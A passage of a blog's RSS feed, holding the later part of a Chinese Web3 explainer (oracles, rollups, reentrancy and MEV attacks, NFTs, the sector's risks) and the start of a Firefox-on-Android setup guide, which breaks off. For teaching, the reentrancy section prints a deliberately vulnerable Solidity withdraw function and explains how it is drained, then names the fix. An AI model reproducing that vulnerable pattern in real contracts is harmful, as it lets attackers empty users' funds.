&lt;p&gt;这是作为&lt;strong&gt;流动性提供者 LP&lt;/strong&gt; 必须懂的数学陷阱&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当你把 ETH/USDC 存入池子做市，如果 ETH 暴涨，你的 ETH 会被套利者买走（因为池子里便宜），你会满手全是贬值的 USDC&lt;/li&gt;
&lt;li&gt;自动卖出上涨资产，买入下跌资产。这是一种&lt;strong&gt;做空波动率&lt;/strong&gt;的策略&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;9. Oracle预言机实现&lt;/h2&gt;
&lt;p&gt;智能合约最大的缺陷是 &lt;strong&gt;它是瞎子&lt;/strong&gt;
EVM 是确定性的，无法进行 HTTP 请求（比如 &lt;code&gt;GET binance.com/price&lt;/code&gt;），因为不同节点在不同时间请求，结果可能不同，共识就会崩溃&lt;/p&gt;
&lt;p&gt;Chainlink 是如何把现实世界带入区块链的？&lt;/p&gt;
&lt;h3&gt;9.1 架构设计&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;链上部分&lt;/strong&gt;: 一个简单的存储合约&lt;pre&gt;&lt;code&gt;contract PriceFeed {
    int256 public price;
    function updatePrice(int256 _price) public { ... }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链下部分 Oracle Nodes&lt;/strong&gt;: 几百个独立运行的服务器，监听交易所 API&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;9.2 数据上链流程&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;聚合 Aggregation&lt;/strong&gt;: 21 个节点分别从币安、Coinbase 获取 ETH 价格
&lt;ul&gt;
&lt;li&gt;节点 A: 3001&lt;/li&gt;
&lt;li&gt;节点 B: 3002&lt;/li&gt;
&lt;li&gt;节点 C: 2999&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;共识&lt;/strong&gt;: 它们在链下（Off-chain P2P 网络）对数据进行签名，取&lt;strong&gt;中位数&lt;/strong&gt;。中位数能过滤掉个别恶意报价&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;写入&lt;/strong&gt;: 一个指定的节点把这一包带有 21 个签名的最终数据，发送给链上合约&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;验证&lt;/strong&gt;: 链上合约验证签名数量是否达标，然后更新 &lt;code&gt;price&lt;/code&gt; 变量&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这就是为什么 DeFi 借贷协议依赖 Chainlink。如果 Chainlink 被黑，所有借贷协议都会因为价格错误而发生连环清算&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;10. 扩容&lt;/h2&gt;
&lt;p&gt;以太坊 L1 太贵太慢（TPS ~15）。我们需要在不牺牲安全性的前提下扩容，因此发明了Rollups (打包)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心思想&lt;/strong&gt;是 &lt;strong&gt;在链下执行计算，在链上存结果和证据&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;10.1 乐观汇总&lt;/h3&gt;
&lt;p&gt;代表：Arbitrum, Optimism。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;L2 节点在链下飞快地跑交易&lt;/li&gt;
&lt;li&gt;每隔几分钟，把几千笔交易压缩，计算出一个新的 &lt;strong&gt;State Root&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;把这个 Root 发布到以太坊 L1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;乐观假设&lt;/strong&gt;: L1 默认认为这个 Root 是对的，直接接受&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;欺诈证明 (Fraud Proof)&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;如果在 &lt;strong&gt;7天挑战期&lt;/strong&gt; 内，有人发现这个 Root 是错的（比如 L2 节点私自改了余额）&lt;/li&gt;
&lt;li&gt;挑战者提交一段数学证据给 L1&lt;/li&gt;
&lt;li&gt;L1 重新执行那&lt;strong&gt;一笔&lt;/strong&gt;交易。如果发现确实错了，L2 节点被罚没押金，回滚状态&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代价&lt;/strong&gt;: 提现需要等待 7 天，也就是挑战时间，可以理解为冷静期&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10.2 零知识汇总&lt;/h3&gt;
&lt;p&gt;代表有：zkSync, Starknet&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;L2 节点打包交易&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数学魔法&lt;/strong&gt;: 生成一个 &lt;strong&gt;零知识证明 (SNARK/STARK)&lt;/strong&gt;。这个证明用密码学保证了：我刚刚执行的这 1000 笔交易，其状态变化确实导致了新的 Root，绝无作假&lt;/li&gt;
&lt;li&gt;把 Root + 证明 提交给 L1&lt;/li&gt;
&lt;li&gt;L1 的验证合约校验这个证明。如果通过，立即确认状态&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优势&lt;/strong&gt;: 它是&lt;strong&gt;数学真理&lt;/strong&gt;，不需要等待 7 天&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;劣势&lt;/strong&gt;: 生成证明极其消耗 CPU 算力&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;11. 黑暗森林&lt;/h2&gt;
&lt;p&gt;在 Web3，&lt;strong&gt;黑客攻击不是绕过防火墙，而是合法地调用你的代码&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;11.1 重入攻击 Reentrancy Attack&lt;/h3&gt;
&lt;p&gt;这是 The DAO 事件（导致以太坊分叉）的罪魁祸首&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞代码示例&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function withdraw() public {
    uint bal = balances[msg.sender];
    require(bal &amp;gt; 0);
    
    // 1. 转账 
    (bool success, ) = msg.sender.call{value: bal}(&quot;&quot;);
    
    // 2. 扣余额 
    balances[msg.sender] = 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;攻击原理&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;黑客写了一个&lt;strong&gt;恶意合约&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;黑客调用 &lt;code&gt;withdraw()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;目标合约执行到 &lt;code&gt;msg.sender.call&lt;/code&gt;（转账）时，会触发恶意合约的 &lt;code&gt;fallback&lt;/code&gt; 函数&lt;/li&gt;
&lt;li&gt;恶意合约的 &lt;code&gt;fallback&lt;/code&gt; 函数里写了一行代码：&lt;strong&gt;再次调用目标合约的 &lt;code&gt;withdraw()&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;此时，目标合约的第 2 步（余额归零）还没执行，所以 &lt;code&gt;bal &amp;gt; 0&lt;/code&gt; 依然成立&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果&lt;/strong&gt;: 像递归一样，黑客把钱提了一次又一次，直到把池子提空，最后才执行余额归零&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;如何防御？&lt;/strong&gt;: checks-effects-interactions 模式（先扣款，再转账）&lt;/p&gt;
&lt;h3&gt;11.2 抢跑与三明治攻击 MEV&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;内存池&lt;/strong&gt; 是完全公开的。矿工/验证者就像拥有上帝视角&lt;/p&gt;
&lt;p&gt;你发了一笔交易：用 1000 USDC 买 ETH。这笔大单会把 ETH 价格推高 1%&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;攻击者 (Searcher Bot)&lt;/strong&gt; 监测到了这笔交易：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;抢跑 (Front-run)&lt;/strong&gt;: 机器人发一笔交易买入 ETH，并将 Gas 费设得比你高。矿工会先打包它的交易。
&lt;ul&gt;
&lt;li&gt;结果机器人把你买入前的价格抬高了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;你的交易执行&lt;/strong&gt;: 你以更高的价格买入了 ETH（你亏了）。价格进一步拉高&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;夹尾 (Back-run)&lt;/strong&gt;: 机器人紧跟着你的交易卖出 ETH
&lt;ul&gt;
&lt;li&gt;结果机器人低买高卖，吃掉了你的滑点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这就是 &lt;strong&gt;Maximal Extractable Value&lt;/strong&gt;。这是区块链这种公开透明账本的必然副作用&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;12. NFT&lt;/h2&gt;
&lt;p&gt;大概你也会认为 NFT 就是 买一张图片，这是最大的误解
你花几十万买个猴子头像，&lt;strong&gt;你买到的根本不是那张图片&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12.1 核心原理&lt;/h3&gt;
&lt;p&gt;想象一下，你花钱买了一颗星星的命名权&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;你得到星星了吗？&lt;/strong&gt; 没有，星星还在天上，谁都能看，谁都能拍照&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;那你买到了什么？&lt;/strong&gt; 你买到了一张&lt;strong&gt;纸&lt;/strong&gt;，上面写着：坐标 ~ 的这颗星星，现在归Chongxi&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;谁承认这张纸？&lt;/strong&gt; 假如有一本&lt;strong&gt;全人类公认的、绝对无法涂改的&lt;/strong&gt;天文学大账本（区块链），全世界只有这一本账本&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;NFT 就是这本大账本上的一行字：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;编号 #8888 的东西，属于 #你的钱包地址&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;至于这个 #8888 是一张图片、一首歌，还是一把游戏里的屠龙刀，区块链其实根本不在乎。它只在乎&lt;strong&gt;确权&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12.2 为什么比特币不是 NFT？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;比特币（同质化）= 钞票&lt;/strong&gt;
你手里的一百块钱，和我手里的一百块钱，是一模一样的。咱俩换一下，毫无影响。这就叫同质化&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;NFT（非同质化）= 房产证&lt;/strong&gt;
你手里的是 1排1座 的票，我手里是 最后一排厕所门口 的票
虽然都是票，但价值完全不一样，不能随便换。这就叫非同质化&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以在区块链上，比特币只记录 你有几个币&lt;br /&gt;
而 NFT 必须记录 &lt;strong&gt;你拥有的是哪一个编号&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12.3. 最大的谎言&lt;/h3&gt;
&lt;p&gt;NFT 最荒诞、也最技术性的地方&lt;/p&gt;
&lt;p&gt;因为区块链简直是寸土寸金。要在以太坊链上存一张普通的 1MB 高清大图，光存进去的手续费可能就要&lt;strong&gt;几万甚至几十万人民币&lt;/strong&gt;，哪怕是土豪项目方也存不起&lt;/p&gt;
&lt;p&gt;那怎么办？&lt;strong&gt;存链接&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你的 NFT 上，其实只写了一行像网址一样的东西：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TokenURI：https://.../oiiaoii.jpg&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;残酷的是：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你花了 100 万买的 NFT，在区块链上只是一行代码，这行代码&lt;strong&gt;指向&lt;/strong&gt;了某台服务器上的一张图&lt;/li&gt;
&lt;li&gt;如果项目方没钱续费服务器了，或者项目方跑路把服务器关了，你的 NFT 还在链上，但那个网址打不开了&lt;/li&gt;
&lt;li&gt;结果你花 100 万买的房产证，变成了一张&lt;strong&gt;白纸&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;解决办法&lt;/strong&gt;
现在的良心项目，会把图片存在 &lt;strong&gt;IPFS&lt;/strong&gt;（一种去中心化硬盘）
IPFS 的特点是：只要世界上还有一台电脑存着这张图，链接就永远有效。这就相当于把 房产证 指向了一个永远不会倒闭的图书馆&lt;/p&gt;
&lt;h3&gt;12.4 何为拥有&lt;/h3&gt;
&lt;p&gt;很多人最不服气的地方便是：这图片我也能下载，我也能设成头像，凭什么要花 100 万？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你去卢浮宫，可以对着《蒙娜丽莎》拍照，可以把照片洗出来挂家里，甚至画得比真迹还清楚&lt;/li&gt;
&lt;li&gt;但是，&lt;strong&gt;当你拿着照片去苏富比拍卖行，没人会理你&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;只有那个持有真品证书的人，才能把画卖出天价&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在 Web3 的世界里，所有人的钱包都是透明的
你有没有这个 NFT，大家在链上一查就知道&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;你下载图片设头像&lt;/strong&gt; 大家查你的钱包，发现里面是空的，纯装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;你买了 NFT 设头像&lt;/strong&gt; 大家查你的钱包，发现真的有记录，我去碰到老资历了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;NFT 的价值，不在于 看 ，而在于 &lt;strong&gt;被全网验证的炫耀权&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12.5 授权机制&lt;/h3&gt;
&lt;p&gt;你在交易平台卖 NFT 时，你会发现你不需要把 NFT 转给平台
那平台怎么能在你睡觉的时候，自动把你的 NFT 卖给别人呢？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里用到了一个类似 房屋中介 的机制：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;授权：&lt;/strong&gt;
你第一次上架时，钱包会弹窗让你点确认。
这一步其实是在链上签了一份&lt;strong&gt;委托书&lt;/strong&gt;：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我授权 Opensea 这个中介，可以随时动用我钱包里的这张名为 #8888 的房产证&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;签名：&lt;/strong&gt;
你填个价格：10 ETH
这一步其实是你写了一张&lt;strong&gt;条子&lt;/strong&gt;：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;谁给我 10 ETH，中介就把房产证给他
这张条子没上链，只是贴在了 Opensea 的服务器上（为了省手续费）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;成交：&lt;/strong&gt;
买家来了，看中了。买家把 10 ETH 给 Opensea 的智能合约
合约拿着你的&lt;strong&gt;委托书&lt;/strong&gt;，直接把 NFT 从你的钱包里&lt;strong&gt;抓出来&lt;/strong&gt;，塞给买家，同时把钱给你&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;为什么很多人点个链接 NFT 就没了？
因为骗子做的钓鱼网站，伪装成抽奖页面，弹出的那个确认框，其实是&lt;strong&gt;最高权限委托书&lt;/strong&gt;
你一旦点了确认，骗子就有权搬空你所有的 NFT，根本不需要知道你的密码&lt;/p&gt;
&lt;h2&gt;13. 真相&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;只谈颠覆不谈风险是骗子，只谈愿景不谈现状是忽悠&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;目前的 Web3，极其撕裂。一方面是天才的数学和精妙的架构，另一方面是遍地的骗局和低效的重复建设&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;全世界都在修路（造公链），修了一万条高速公路，但路上跑的只有几辆玩具车（应用），而且这几辆车上坐的全是想在路上捡钱的赌徒&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为什么会这样？这是&lt;strong&gt;激励机制的错配&lt;/strong&gt;造成的&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;发公链太赚钱了：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果你开发一个 App（比如去中心化的YouTube），你需要累死累活运营用户，变现极难&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;但如果你开发一条公链（Layer 1 / Layer 2），你发一个币，讲一个 我是更快的以太坊的故事，资本就会疯狂涌入&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;导致工程师们不去解决真实世界的痛点，而在疯狂内卷 TPS（每秒交易量）。现在的公链性能早就过剩了，缺的是人用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;以太坊、Solana、Aptos、Sui……每一条链都是一个独立的国家。用户资产跨链极难，体验极差。这就像你用微信还要分 Android版 和 iOS版，而且两边账号数据还不互通&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;真正的DApp并未爆发：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;目前的 去中心化应用 只有三类还在活跃：&lt;strong&gt;借贷（DeFi）、赌博（GameFi）、炒图（NFT）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;并没有出现像 Uber、Wechat 这样真正改变普通人生活的消费级应用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你要入行或投资，必须直面这四个死神&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A. 不可挽回的技术死亡&lt;/strong&gt;
在 Web2，微信崩了可以修，支付宝被黑了数据可以回滚
在 Web3，&lt;strong&gt;Code is Law&lt;/strong&gt; 是一把双刃剑&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你把钱转错地址了？&lt;strong&gt;永久消失&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;你把私钥弄丢了？&lt;strong&gt;无人能救&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;智能合约有 Bug 被黑客掏空了？&lt;strong&gt;那是 &lt;em&gt;合法的&lt;/em&gt; 代码执行，没人赔你&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;对普通用户来说，这种自我主权带来的心理负担太重了。很多人根本接不住这种自由&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;B. 庞氏与泡沫&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Web3 目前 90% 的代币经济模型（Tokenomics）本质上是&lt;strong&gt;庞氏（Ponzi）&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Play-to-Earn：&lt;/strong&gt; 钱从哪来？从后进场的玩家手里来。一旦没新人进场，币价瞬间归零（如 Axie Infinity）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高收益挖矿：&lt;/strong&gt; 承诺年化 100% 的收益？那是用印出来的通胀币给你的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;空气币：&lt;/strong&gt; 没有现金流，没有盈利能力，市值全靠共识（也就是情绪）。情绪一崩，价值归零&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;C. 监管铁拳&lt;/strong&gt;
最大的灰犀牛&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;反洗钱 (AML)：&lt;/strong&gt; 只要监管层掐断 法币出入金通道（让银行不给交易所转账），Web3 就会变成局域网里的自嗨，流动性枯竭&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;证券认定：&lt;/strong&gt; 如果美国 SEC 认定大部分代币是 证券，那么所有的交易所都要持牌，大部分项目方都要坐牢或交巨额罚款&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;D. 中心化的伪装&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;很多号称“去中心化”的项目，其实控制权在 3 个人的多签钱包里。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;服务器在 AWS 上&lt;/li&gt;
&lt;li&gt;前端在 Cloudflare 上&lt;/li&gt;
&lt;li&gt;甚至节点都是项目方自己跑的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一旦出事，这比银行还危险，因为银行受监管，他们不受监管&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;14. 泡沫下的黄金&lt;/h2&gt;
&lt;p&gt;既然全是问题，为什么还要研究它？为什么全世界最顶尖的精英，华尔街和硅谷最聪明的大脑还在往里冲？&lt;/p&gt;
&lt;p&gt;因为&lt;strong&gt;泡沫之下，物理层面的变革已经发生了&lt;/strong&gt;。就像 2000 年互联网泡沫破裂，Pet.com 死了，但互联网留下了&lt;/p&gt;
&lt;h3&gt;14.1. 支付革命&lt;/h3&gt;
&lt;p&gt;这是目前 Web3 唯一真正的大规模应用&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在阿根廷、土耳其、尼日利亚等通胀严重的国家，普通人把积蓄换成 USDT/USDC 存在手机里&lt;/li&gt;
&lt;li&gt;这并不是为了炒币，而是为了&lt;strong&gt;生存&lt;/strong&gt;。它让一个没有美国银行账户的非洲人，拥有了持有美元资产的权利。这在人类历史上是第一次&lt;/li&gt;
&lt;li&gt;现在汇款要几天，收几高手续费；用链上转账，几秒钟，几分钱，全天候。银行的 SWIFT 体系注定会被淘汰&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;14.2 资产代币化&lt;/h3&gt;
&lt;p&gt;别再炒你那破图片了，未来炒的是&lt;strong&gt;现实世界&lt;/strong&gt;，把美债、房地产、股票映射到链上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*   你可以在周日凌晨 3 点，把你的 100 块钱美债卖掉，换成一杯咖啡
*   你可以买 0.0001 份纽约的一栋大楼的收租权。
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;逻辑：&lt;/strong&gt; 并不是为了去中心化，而是为了&lt;strong&gt;流动性&lt;/strong&gt;和&lt;strong&gt;全球化&lt;/strong&gt;。黑石（BlackRock）等巨头正在入场，这才是万亿级的市场&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;14.3 数据主权与数字身份&lt;/h3&gt;
&lt;p&gt;这是对抗 AI 时代唯一的武器&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 AI 时代，怎么证明 我是人？怎么证明 这个作品是我画的，不是 AI 生成的？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web3 的解法：&lt;/strong&gt; 你的私钥签名是无法伪造的数字指纹&lt;/li&gt;
&lt;li&gt;你的社交关系、你的医疗数据、你的创作内容，不再存在腾讯或 Google 的服务器里，而是加密存在 IPFS 上，钥匙在你手里。任何 App 想用数据，必须经你授权（甚至要付费！）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;14.4 无摩擦的全球协作&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;虽然现在的 DAO 很乱，但&lt;strong&gt;代码级公司&lt;/strong&gt;的形态是先进的&lt;/li&gt;
&lt;li&gt;没有财务部门（链上自动记账），没有跨国转账障碍，根据贡献（代码提交量/投票）自动发工资。这对于开源社区和全球化组织是降维打击&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;15. 结&lt;/h2&gt;
&lt;p&gt;我作为&lt;strong&gt;个人开发者&lt;/strong&gt;对Web3的看法&lt;/p&gt;
&lt;p&gt;在 Web2，我们相信服务器管理员是善良的 &lt;code&gt;Don&apos;t be evil&lt;/code&gt;
在 Web3，我们假设环境是恶意的，但依靠密码学和博弈论，系统依然能正确运转 &lt;code&gt;Can&apos;t be evil&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目前的 Web3 目前处于 &lt;strong&gt;1995 年的互联网&lt;/strong&gt; 和 &lt;strong&gt;1840 年的淘金热&lt;/strong&gt; 的叠加态&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它混乱、野蛮、充满骗子和强盗&lt;/li&gt;
&lt;li&gt;但它脚下确实埋着石油和黄金，而且铁轨已经铺好&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不要做那个在路边鼓掌的人，也不要做那个在赌场里红眼的赌徒&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;要做那个卖铲子、修铁路、或者在荒原上盖起第一家真正超市的engineer&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>Web3</category><category>Ethereum</category><author>Chongxi</author></item><item><title>逃离简陋 Chrome：Android Firefox 调教指南</title><link>https://xice.cx/posts/firefoxAndroid/</link><guid isPermaLink="true">https://xice.cx/posts/firefoxAndroid/</guid><description>Gboard推送了新版Autofill，彻底解决了非Chromium浏览器的填充痛点。本文介绍了Firefox Android的推荐配置、隐私设置及必装插件Setup指南</description><pubDate>Fri, 21 Nov 2025 17:19:27 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;最近，Gboard悄悄推送了一项更新：&lt;strong&gt;无视任何条件的 Autofill&lt;/strong&gt;
这一功能的行为逻辑类似于剪贴板，你可以直接从键盘候选栏点击填充按钮，强制将密码或其他字段填入当前的输入框&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./firefoxAndroid/1.webp&quot; alt=&quot;gboard1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./firefoxAndroid/2.webp&quot; alt=&quot;gboard2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在此之前，&lt;strong&gt;非Chromium内核浏览器&lt;/strong&gt;（如Firefox Android）&lt;strong&gt;无法正常唤起Google Autofill&lt;/strong&gt;。即便长按输入框，当网页请求密码字段时，往往也无法在系统菜单里直接调出密码管理器。这意味着许多深度依赖 &lt;code&gt;Google Passwords&lt;/code&gt; 的用户被迫留守Chrome，或者转向 Bitwarden等第三方管理器，体验极其割裂&lt;/p&gt;
&lt;p&gt;而这次更新之后，Google Autofill在Firefox Android上终于可以完美使用了。Chongxi也终于能摆脱Chrome Android这个功能简陋的浏览器了&lt;/p&gt;
&lt;p&gt;本文主要分享一下我迁移到Firefox Android后总结的配置经验与插件推荐&lt;/p&gt;
&lt;h3&gt;0.1 Why Firefox?&lt;/h3&gt;
&lt;p&gt;Firefox是目前Android平台上为数不多的&lt;strong&gt;非Chromium 内核&lt;/strong&gt;浏览器。在Chrome逐渐垄断Web标准的今天，使用 Gecko内核的Firefox不仅是为了支持Other World，更是因为它切实提供了比较不错的功能，比如强劲的隐私防护，拓展插件支持等&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Firefox 基础配置&lt;/h2&gt;
&lt;p&gt;下文提供配置示例，具体解释见后文的Note&lt;/p&gt;
&lt;h3&gt;1.1 常规设置&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;密码&lt;/strong&gt;：建议将Firefox内置的保存密码设为&lt;strong&gt;OFF&lt;/strong&gt;（如果你要使用Google Autofill）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;付款方式&lt;/strong&gt;：同样的，建议&lt;strong&gt;OFF&lt;/strong&gt;，交由第三者接管&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;记得在Android系统设置中，将自动填充服务指向你需要的App&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1.2 隐私与安全&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTPS-ONLY&lt;/strong&gt;：强烈建议开启，并选择&lt;code&gt;对所有标签页启用&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基于 HTTPS 的 DNS (DoH)&lt;/strong&gt;：建议开启，除非你在其他地方使用了DoH&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;增强型跟踪防护&lt;/strong&gt;：选择 &lt;strong&gt;自定义&lt;/strong&gt;，并勾选如下配置：
&lt;ul&gt;
&lt;li&gt;Cookie: &lt;strong&gt;隔离跨站 Cookie&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;跟踪性内容: &lt;strong&gt;所有标签页&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;加密货币挖矿程序&lt;/li&gt;
&lt;li&gt;已知的数字指纹跟踪程序&lt;/li&gt;
&lt;li&gt;重定向跟踪器&lt;/li&gt;
&lt;li&gt;存疑的数字指纹跟踪程序: &lt;strong&gt;所有标签页&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;要求网站不共享和不出售我的数据&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[配置解释]
&lt;strong&gt;HTTPS-ONLY 模式&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
